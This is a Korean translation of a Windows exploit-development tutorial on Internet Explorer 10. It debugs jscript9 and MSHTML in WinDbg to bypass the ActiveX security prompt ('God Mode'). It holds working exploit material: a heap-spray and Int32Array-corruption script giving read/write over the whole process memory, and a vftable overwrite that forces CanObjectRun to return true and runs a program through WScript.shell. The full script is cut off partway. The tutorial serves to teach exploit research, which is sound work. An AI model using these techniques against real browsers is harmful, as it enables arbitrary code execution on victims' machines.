티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 15. IE 10 (God Mode 1)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



IE에서 ActiveX 객체를 실행하면 알림창이 뜨게 됩니다. 예를들어, 다음과 같은 html을 만들어 봅니다.


1
2
3
4
5
6
7
8
9
10
<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>
cs


위 파일을 IE에서 열게 되면 다음과 같은 알림창이 뜹니다.



만약 God Mode라 불리는 것을 활성화 시키면 IE는 유저의 권한에 대해 물어 보지 않고 ActiveX 객체를 실행하게 됩니다. 기본적으로 IE의 행위를 변경를 변경하기 원할 때, 읽고 쓰기는 용도로 사용될 것 입니다.

 

하지만 계산기를 띄우는 것이 왜 중요한 것일까요이는 쉘코드에 대한 검증으로 임의 코드를 실행할 수 있음을 보입니다. 하지만 여기서는 사용자의 하드디스크에 있는 프로그램을 실행 시킴으로써 검증하도록 하겠습니다.

 

이 방법으로는 우리가 선택한 코드와 데이터를 포함하는 .exe 파일을 생성하고 실행합니다. 하지만 지금은 먼저 위 코드를 실행 할때 나타나는 알림창을 우회해보도록 합니다.



알림창 우회


위 코드를 실행할때 나타나는 알림창은 일반 윈도우 다이얼로그 박스와 비슷해 보입니다. 따라서 이는 IE에서 윈도우즈 API를 사용하는 것 같습니다. 구글에서 msdn dialog box를 검색해보면 다음과 같은 링크를 찾을 수 있습니다.

  • https://msdn.microsoft.com/en-us/library/windows/desktop/ms645452%28v=vs.85%29.aspx


보시다시피, 다이얼로그 상자들을 생성하기 위한 몇 가지 함수들이 있습니다.



Remarks 부분을 보면 DialogBox CreateWindowEx를 호출합니다.



다이얼로그 상자들을 생성하는 다른 함수들을 보면 역시 CreateWindowEx를 사용하는 것을 확인할 수 있기 때문에 CreateWindowEx breakpoint를 설정합니다.

 

먼저, IE에서 위 페이지를 불러오고 차단된 컨텐츠를 허용하기 전에 (IE에서 로컬 html 파일을 열 때, 확인을 함), WinDbg에서 CreateWindowEx (ASCII, Unicode 버전 모두) breakpoint를 설정합니다.


0:016> bp createwindowexw

0:016> bp createwindowexa


차단된 컨텐츠를 허용할 때, CreateWindowExW에 있는 breakpoint가 실행됩니다. 스택 트레이스는 다음과 같습니다.


0:007> k 20

ChildEBP RetAddr  

042bae7c 738d4467 user32!CreateWindowExW

042baebc 6eeee9fa IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64

042baefc 6efb9759 IEFRAME!SHFusionCreateWindowEx+0x47

042bb058 6efb951e IEFRAME!CBrowserFrameState::FindTabIDFromRootThreadID+0x13b

042bb0a4 6efb9409 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xe9

042bb0c4 738e8c5c IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b

042bb0e0 74e7f0c8 IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31

042bb910 74e9efe0 urlmon!CSecurityManager::DisplayMessage+0x40

042bbcb4 74dff5d4 urlmon!memset+0x120a0

042bbcf8 6e2a84dc urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f

042bbd6c 6e2a81ae MSHTML!CMarkup::ProcessURLAction2+0x31d

042bbd9c 6ecf7868 MSHTML!CMarkup::ProcessURLAction+0x3e

042bbe28 6e24d87d MSHTML!memcpy+0x120f00

042bbe6c 04d5c12d MSHTML!CDocument::HostQueryCustomPolicy+0x148

042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------

042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------

042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------

042bbfa8 04cc25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90

042bc000 04cc272e jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6

042bc194 04c95cf5 jscript9!Js::InterpreterStackFrame::Process+0x2c6d

042bc29c 034b0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305

WARNING: Frame IP not in any known module. Following frames may be wrong.

042bc2a8 04c91f60 0x34b0fe9

042bc328 04c920ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140

042bc340 04c9209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19

042bc388 04c92027 jscript9!ScriptSite::CallRootFunction+0x40

042bc3b0 04d3df75 jscript9!ScriptSite::Execute+0x61

042bc43c 04d3db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9

042bc4c4 04d3e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad

042bc518 6e37b60c jscript9!ScriptEngine::ParseScriptText+0x5b

042bc550 6e37945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42

042bc5a0 6e36b52f MSHTML!CJScript9Holder::ParseScriptText+0x58

042bc614 6e37c6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0


아래 3줄이 특히 흥미롭습니다.


042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------

042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------

042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------


CanObjectRun 함수에서 ActiveX 객체가 실행될 수 있는지 결정하는 것 같습니다. 이전 breakpoint를 지우고 jscript9!ScriptSite::CreateActiveXObject breakpoint를 설정합니다.


bp jscript9!ScriptSite::CreateActiveXObject


html 페이지를 다시 불러오고 IE에서 차단된 컨텐츠 허용을 하게 되면 CreateActiveXObject에서 멈추게 되고 코드는 다음과 같습니다.


jscript9!ScriptSite::CreateActiveXObject:

04eebd8b 6a18            push    18h

04eebd8d b81927eb04      mov     eax,offset jscript9!memset+0x2ac2 (04eb2719)

04eebd92 e88752f2ff      call    jscript9!_EH_epilog3_GS (04e1101e)

04eebd97 837d1000        cmp     dword ptr [ebp+10h],0

04eebd9b 8b5d08          mov     ebx,dword ptr [ebp+8]

04eebd9e 8b5b54          mov     ebx,dword ptr [ebx+54h]

04eebda1 0f8571721600    jne     jscript9!memset+0xf9c1 (05053018)

04eebda7 8bcb            mov     ecx,ebx

04eebda9 8d75e8          lea     esi,[ebp-18h]

04eebdac e8f4feffff      call    jscript9!AutoLeaveScriptPtr<IDispatch>::AutoLeaveScriptPtr<IDispatch> (04eebca5)

04eebdb1 8365fc00        and     dword ptr [ebp-4],0

04eebdb5 8365f000        and     dword ptr [ebp-10h],0 ss:002b:0446ba64=0446ba70

04eebdb9 896df0          mov     dword ptr [ebp-10h],ebp

04eebdbc 8d45dc          lea     eax,[ebp-24h]

04eebdbf 50              push    eax

04eebdc0 8b45f0          mov     eax,dword ptr [ebp-10h]

04eebdc3 8bcb            mov     ecx,ebx

04eebdc5 e87faaf9ff      call    jscript9!Js::LeaveScriptObject<1,1>::LeaveScriptObject<1,1> (04e86849)

04eebdca 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]

04eebdcd 8bc6            mov     eax,esi

04eebdcf c645fc01        mov     byte ptr [ebp-4],1

04eebdd3 8b7508          mov     esi,dword ptr [ebp+8]

04eebdd6 50              push    eax

04eebdd7 ff7510          push    dword ptr [ebp+10h]

04eebdda 8bd6            mov     edx,esi

04eebddc e8ea000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04eebecb)   <---------------

04eebde1 c645fc00        mov     byte ptr [ebp-4],0

04eebde5 807de400        cmp     byte ptr [ebp-1Ch],0

04eebde9 8bf8            mov     edi,eax


jscript9!ScriptSite::CreateObjectFromProgID 내부로 들어가면 다음과 같은 코드를 볼 수 있습니다.


jscript9!ScriptSite::CreateObjectFromProgID:

04eebecb 8bff            mov     edi,edi

04eebecd 55              push    ebp

04eebece 8bec            mov     ebp,esp

04eebed0 83ec34          sub     esp,34h

04eebed3 a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]

04eebed8 33c5            xor     eax,ebp

04eebeda 8945fc          mov     dword ptr [ebp-4],eax

04eebedd 53              push    ebx

04eebede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]

04eebee1 56              push    esi

04eebee2 33c0            xor     eax,eax

04eebee4 57              push    edi

04eebee5 8b7d08          mov     edi,dword ptr [ebp+8]

04eebee8 8bf2            mov     esi,edx

04eebeea 8975dc          mov     dword ptr [ebp-24h],esi

04eebeed 8945cc          mov     dword ptr [ebp-34h],eax

04eebef0 897dd0          mov     dword ptr [ebp-30h],edi

04eebef3 8945d4          mov     dword ptr [ebp-2Ch],eax

04eebef6 8945d8          mov     dword ptr [ebp-28h],eax

04eebef9 8945e8          mov     dword ptr [ebp-18h],eax

04eebefc 85ff            test    edi,edi

04eebefe 0f85e26a1600    jne     jscript9!memset+0xf390 (050529e6)

04eebf04 8b4604          mov     eax,dword ptr [esi+4]

04eebf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)

04eebf0c 85c0            test    eax,eax

04eebf0e 8d45ec          lea     eax,[ebp-14h]

04eebf11 50              push    eax

04eebf12 51              push    ecx

04eebf13 0f84d86a1600    je      jscript9!memset+0xf39b (050529f1)

04eebf19 ff1508400905    call    dword ptr [jscript9!_imp__CLSIDFromProgID (05094008)]

04eebf1f 85c0            test    eax,eax

04eebf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)

04eebf27 8d45ec          lea     eax,[ebp-14h]

04eebf2a 50              push    eax

04eebf2b 8b4604          mov     eax,dword ptr [esi+4]

04eebf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04eec315)   <-----------------------

04eebf33 85c0            test    eax,eax

04eebf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)


코드를 계속 따라가 보면 jscript9!ScriptEngine::CanCreateObject를 확인할 수 있습니다. 이 함수 역시 흥미롭습니다. 이제 이 경우, 1을 반환한다고 해봅시다. (EAX = 1). 코드를 계속 따라가 보면 아래 코드를 만나게 됩니다.


04eebf3b 6a05            push    5

04eebf3d 58              pop     eax

04eebf3e 85ff            test    edi,edi

04eebf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050529fc)

04eebf46 8d4de4          lea     ecx,[ebp-1Ch]

04eebf49 51              push    ecx

04eebf4a 68ac0fec04      push    offset jscript9!IID_IClassFactory (04ec0fac)

04eebf4f ff75e8          push    dword ptr [ebp-18h]

04eebf52 50              push    eax

04eebf53 8d45ec          lea     eax,[ebp-14h]

04eebf56 50              push    eax

04eebf57 ff1504400905    call    dword ptr [jscript9!_imp__CoGetClassObject (05094004)]

04eebf5d 85c0            test    eax,eax

04eebf5f 0f88aa67fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)

04eebf65 8b45e4          mov     eax,dword ptr [ebp-1Ch]

04eebf68 8b08            mov     ecx,dword ptr [eax]

04eebf6a 8d55e0          lea     edx,[ebp-20h]

04eebf6d 52              push    edx

04eebf6e 68ccbfee04      push    offset jscript9!IID_IClassFactoryEx (04eebfcc)

04eebf73 50              push    eax

04eebf74 ff11            call    dword ptr [ecx]      ds:002b:040725f8={wshom!CClassFactory::QueryInterface (04080554)}

04eebf76 85c0            test    eax,eax

04eebf78 8b45e4          mov     eax,dword ptr [ebp-1Ch]

04eebf7b 8b08            mov     ecx,dword ptr [eax]

04eebf7d 0f89a76a1600    jns     jscript9!memset+0xf3d4 (05052a2a)

04eebf83 53              push    ebx

04eebf84 681c13e104      push    offset jscript9!IID_IUnknown (04e1131c)

04eebf89 6a00            push    0

04eebf8b 50              push    eax

04eebf8c ff510c          call    dword ptr [ecx+0Ch]  ds:002b:04072604={wshom!CClassFactory::CreateInstance (04080613)}

04eebf8f 8bf0            mov     esi,eax

04eebf91 8b45e4          mov     eax,dword ptr [ebp-1Ch]

04eebf94 8b08            mov     ecx,dword ptr [eax]

04eebf96 50              push    eax

04eebf97 ff5108          call    dword ptr [ecx+8]    ds:002b:04072600={wshom!CClassFactory::Release (04080909)}

04eebf9a 85f6            test    esi,esi

04eebf9c 7818            js      jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04eebfb6)

04eebf9e 8b4ddc          mov     ecx,dword ptr [ebp-24h]

04eebfa1 ff33            push    dword ptr [ebx]

04eebfa3 8b4904          mov     ecx,dword ptr [ecx+4]

04eebfa6 8d55ec          lea     edx,[ebp-14h]

04eebfa9 e807010000      call    jscript9!ScriptEngine::CanObjectRun (04eec0b5)   <----------------------

04eebfae 85c0            test    eax,eax

04eebfb0 0f8467a90800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (04f7691d)   <---------------

04eebfb6 8b4dfc          mov     ecx,dword ptr [ebp-4]

04eebfb9 5f              pop     edi

04eebfba 8bc6            mov     eax,esi

04eebfbc 5e              pop     esi

04eebfbd 33cd            xor     ecx,ebp

04eebfbf 5b              pop     ebx

04eebfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e1133e)

04eebfc5 c9              leave

04eebfc6 c20800          ret     8


드디어 jscript9!ScriptEngine::CanObjectRun을 만나게 되었습니다. 이 부분을 진행하면 (step over) 


다음과 같이 익숙한 창이 뜨게 됩니다.



Yes를 누르고 다시 WinDbg로 돌아가보면 CanObjectRun에서 1을 반환한것을 확인할 수 있습니다. (EAX = 1) 이 의미는 0x04eebfb0에 있는 je가 분기도지 않고 CreateObjectFromProgID가 되었다는 뜻입니다. 또한 계산기도 같이 뜨는 것을 볼 수 있습니다.

 

이제 0x04eebfae breakpoint를 걸고 IE에서 페이지를 다시 부르고 No를 누르게 되면 IE에서 어떤일이 일어 나는지 보도록 하겠습니다. 이제 보면 EAX 0으로 되어 있고 je로 분기가 됩니다. 실행을 계속 진행하면 이번엔 계산기가 뜨지 않습니다.

 

이 알림창을 우회하기 위해서는 CanObjectRun에서 True (EAX != 0)를 반환하도록 강제해야 합니다. 하지만 코드 영역은 읽기 전용 페이지들이라 수정을 할 수가 없습니다. 따라서 다른 방법으로 해결할 필요가 있습니다.

 

jscript9!ScriptEngine::CanObjectRun breakpoint를 설정하고 IE에서 페이지를 다시 불러옵니다. 이번에는 CanObjectRun 내부로 들어가보도록 하겠습니다.


jscript9!ScriptEngine::CanObjectRun:

04eec0b5 8bff            mov     edi,edi

04eec0b7 55              push    ebp

04eec0b8 8bec            mov     ebp,esp

04eec0ba 83ec48          sub     esp,48h

04eec0bd a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]

04eec0c2 33c5            xor     eax,ebp

04eec0c4 8945f8          mov     dword ptr [ebp-8],eax

04eec0c7 53              push    ebx

04eec0c8 8b5d08          mov     ebx,dword ptr [ebp+8]

04eec0cb 56              push    esi

04eec0cc 57              push    edi

04eec0cd 8bf9            mov     edi,ecx

04eec0cf 8bf2            mov     esi,edx

04eec0d1 8bc7            mov     eax,edi

04eec0d3 8975cc          mov     dword ptr [ebp-34h],esi

04eec0d6 e806ffffff      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)

04eec0db 85c0            test    eax,eax

04eec0dd 0f844e581600    je      jscript9!memset+0xe3b4 (05051931)

04eec0e3 f687e401000008  test    byte ptr [edi+1E4h],8

04eec0ea 0f8450581600    je      jscript9!memset+0xe3c3 (05051940)

04eec0f0 8d45bc          lea     eax,[ebp-44h]

04eec0f3 50              push    eax

04eec0f4 e87a020000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04eec373)

04eec0f9 85c0            test    eax,eax

04eec0fb 0f8838581600    js      jscript9!memset+0xe3bc (05051939)

04eec101 8b45bc          mov     eax,dword ptr [ebp-44h]

04eec104 8d7dd0          lea     edi,[ebp-30h]

04eec107 a5              movs    dword ptr es:[edi],dword ptr [esi]

04eec108 a5              movs    dword ptr es:[edi],dword ptr [esi]

04eec109 a5              movs    dword ptr es:[edi],dword ptr [esi]

04eec10a a5              movs    dword ptr es:[edi],dword ptr [esi]

04eec10b 895de0          mov     dword ptr [ebp-20h],ebx

04eec10e 33db            xor     ebx,ebx

04eec110 53              push    ebx

04eec111 6a18            push    18h

04eec113 8d55d0          lea     edx,[ebp-30h]

04eec116 52              push    edx

04eec117 8d55cc          lea     edx,[ebp-34h]

04eec11a 52              push    edx

04eec11b 8d55c0          lea     edx,[ebp-40h]

04eec11e 52              push    edx

04eec11f 6868c1ee04      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04eec168)

04eec124 895de4          mov     dword ptr [ebp-1Ch],ebx

04eec127 8b08            mov     ecx,dword ptr [eax]

04eec129 50              push    eax

04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}   <---------

04eec12d 85c0            test    eax,eax

04eec12f 0f8804581600    js      jscript9!memset+0xe3bc (05051939)

04eec135 8b45c0          mov     eax,dword ptr [ebp-40h]

04eec138 6a03            push    3


0x4eec12a 에 위치한 호출을 진행하면 익숙한 다이얼로그 창이 뜨게 됩니다. 계속 진행해보면


04eec13a 5b              pop     ebx

04eec13b 85c0            test    eax,eax

04eec13d 740f            je      jscript9!ScriptEngine::CanObjectRun+0x99 (04eec14e)

04eec13f 837dcc04        cmp     dword ptr [ebp-34h],4

04eec143 7202            jb      jscript9!ScriptEngine::CanObjectRun+0x92 (04eec147)

04eec145 8b18            mov     ebx,dword ptr [eax]

04eec147 50              push    eax

04eec148 ff151c400905    call    dword ptr [jscript9!_imp__CoTaskMemFree (0509401c)]

04eec14e 6a00            push    0

04eec150 f6c30f          test    bl,0Fh

04eec153 58              pop     eax

04eec154 0f94c0          sete    al

04eec157 8b4df8          mov     ecx,dword ptr [ebp-8]

04eec15a 5f              pop     edi

04eec15b 5e              pop     esi

04eec15c 33cd            xor     ecx,ebp

04eec15e 5b              pop     ebx

04eec15f e8da51f2ff      call    jscript9!__security_check_cookie (04e1133e)

04eec164 c9              leave

04eec165 c20400          ret     4


결국 CanObjectRun이 반환됩니다. 코드 중 아래 3줄에 대해 다시 한번 살펴 봅니다.


04eec127 8b08            mov     ecx,dword ptr [eax]      ; ecx = vftable pointer

04eec129 50              push    eax

04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}


첫 번째 줄은 eax가 가리키는 객체의 처음 dword로 부터 vftable 포인터를 얻어오고 vftable에서 6번째 가상 함수 (오프셋 14h)를 호출합니다. 모든 vftables이 고정된 RVAs에 있기 때문에 vftable을 수정하여 우리가 원하는 코드를 실행 할 수 있습니다.

 

0x04eec12a에서 호출이 일어나기 바로 전에 eax 0이 아닙니다. 따라서 CanObjectRun에서 바로 반환을 한다면 CanObjectRun True를 반환할것 입니다. 만약 vftable 6번째 포인터를 0x04eec164로 덮어 쓴다면 어떤일이 일어날까요?

 

04eec127에 있는 호출은 CanObjectRun의 에필로그를 호출할 것이기 때문에 CanObjectRun은 종료되게 되고 True를 반환합니다. 모든 것들이 잘 동작하는데 그 이유는 04eec127의 호출이 스택에 ret eip를 넣어도 CanObjectRun의 에필로그에서 esp를 정확한 값으로 복원하기 때문입니다. 기억할 점은 leave 명령은 다음과 같습니다.


mov   esp, ebp

pop   ebp


0x04eec12a breakpoint를 걸고 IE에서 페이지를 다시 불러온 다음 breakpoint가 실행되었을때 vftable을 보도록 하겠습니다.


0:007> ln ecx

(6ed255e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6ed25ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable

Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>

0:007> dds ecx

6ed255e0  6e162681 MSHTML!PlainQueryInterface

6ed255e4  6e1625a1 MSHTML!CAPProcessor::AddRef

6ed255e8  6e13609d MSHTML!PlainRelease

6ed255ec  6e128eb5 MSHTML!TearoffThunk3

6ed255f0  6e30604a MSHTML!TearoffThunk4

6ed255f4  6e1dafe5 MSHTML!TearoffThunk5    <----------- we want to overwrite this

6ed255f8  6e1d9a77 MSHTML!TearoffThunk6

6ed255fc  6e2b1a73 MSHTML!TearoffThunk7

6ed25600  6e1d770c MSHTML!TearoffThunk8

6ed25604  6e1db22c MSHTML!TearoffThunk9

6ed25608  6e1db1e3 MSHTML!TearoffThunk10

6ed2560c  6e307db5 MSHTML!TearoffThunk11

6ed25610  6e1db2b8 MSHTML!TearoffThunk12

6ed25614  6e3e2a3d MSHTML!TearoffThunk13

6ed25618  6e2f2719 MSHTML!TearoffThunk14

6ed2561c  6e304879 MSHTML!TearoffThunk15

6ed25620  6e1db637 MSHTML!TearoffThunk16

6ed25624  6e1e1bf3 MSHTML!TearoffThunk17

6ed25628  6e1d9649 MSHTML!TearoffThunk18

6ed2562c  6e558422 MSHTML!TearoffThunk19

6ed25630  6e63bc4a MSHTML!TearoffThunk20

6ed25634  6e1e16d9 MSHTML!TearoffThunk21

6ed25638  6e397b23 MSHTML!TearoffThunk22

6ed2563c  6e2c2734 MSHTML!TearoffThunk23

6ed25640  6e3975ed MSHTML!TearoffThunk24

6ed25644  6e5728c5 MSHTML!TearoffThunk25

6ed25648  6e475a7d MSHTML!TearoffThunk26

6ed2564c  6e456310 MSHTML!TearoffThunk27

6ed25650  6e46ff2d MSHTML!TearoffThunk28

6ed25654  6e45a803 MSHTML!TearoffThunk29

6ed25658  6e47d81a MSHTML!TearoffThunk30

6ed2565c  6e2d3f19 MSHTML!TearoffThunk31


vftable RVA를 결정하는 것은 간단합니다.


0:007> ? MSHTML!s_apfnPlainTearoffVtable-mshtml

Evaluate expression: 12932576 = 00c555e0


0x4eec164에 위치한 에필로그의 RVA를 찾아보도록 하겠습니다.


0:007> !address 04eec164


                                     

Mapping file section regions...

Mapping module regions...

Mapping PEB regions...

Mapping TEB and stack regions...

Mapping heap regions...

Mapping page heap regions...

Mapping other regions...

Mapping stack trace database regions...

Mapping activation context regions...



Usage:                  Image

Base Address:           04e11000

End Address:            05094000

Region Size:            00283000

State:                  00001000  MEM_COMMIT

Protect:                00000020  PAGE_EXECUTE_READ

Type:                   01000000  MEM_IMAGE

Allocation Base:        04e10000

Allocation Protect:     00000080  PAGE_EXECUTE_WRITECOPY

Image Path:             C:\Windows\SysWOW64\jscript9.dll

Module Name:            jscript9      <----------------------------------------------

Loaded Image Name:      C:\Windows\SysWOW64\jscript9.dll

Mapped Image Name:      

More info:              lmv m jscript9

More info:              !lmi jscript9

More info:              ln 0x4eec164

More info:              !dh 0x4e10000



0:007> ? 04eec164-jscript9

Evaluate expression: 901476 = 000dc164


vftable mshtml + 0xc555e0에 위치하기 때문에 mshtml + 0xc555e0 + 0x14위치의 dword jscript9 + 0xdc164로 덮어 써야 합니다. 이를 위한 자바스크립트 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
// We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
//   * mshtml+0xc555e0 is the address of the vftable we want to modify;
//   * jscript9+0xdc164 points to the code "leave / ret 4".
// As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
 
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
 
write(mshtml+0xc555e0+0x14, old);      // God mode off!
cs


위 코드는 vftable을 가능한 빨리 복원하는데 그 이유는 오랜 시간 구동할 때 vftable의 변경은 충돌을 발생 시킬 수 있기 때문입니다.

 

전체 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4>> k*8|
               (int32array[(address-k+4)/4<< (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4= value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4= low;
        int32array[(address-k+4)/4= high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000- 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400++i)
      a[i][0x3bf7= 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-43);
 
    leakArray = 0;
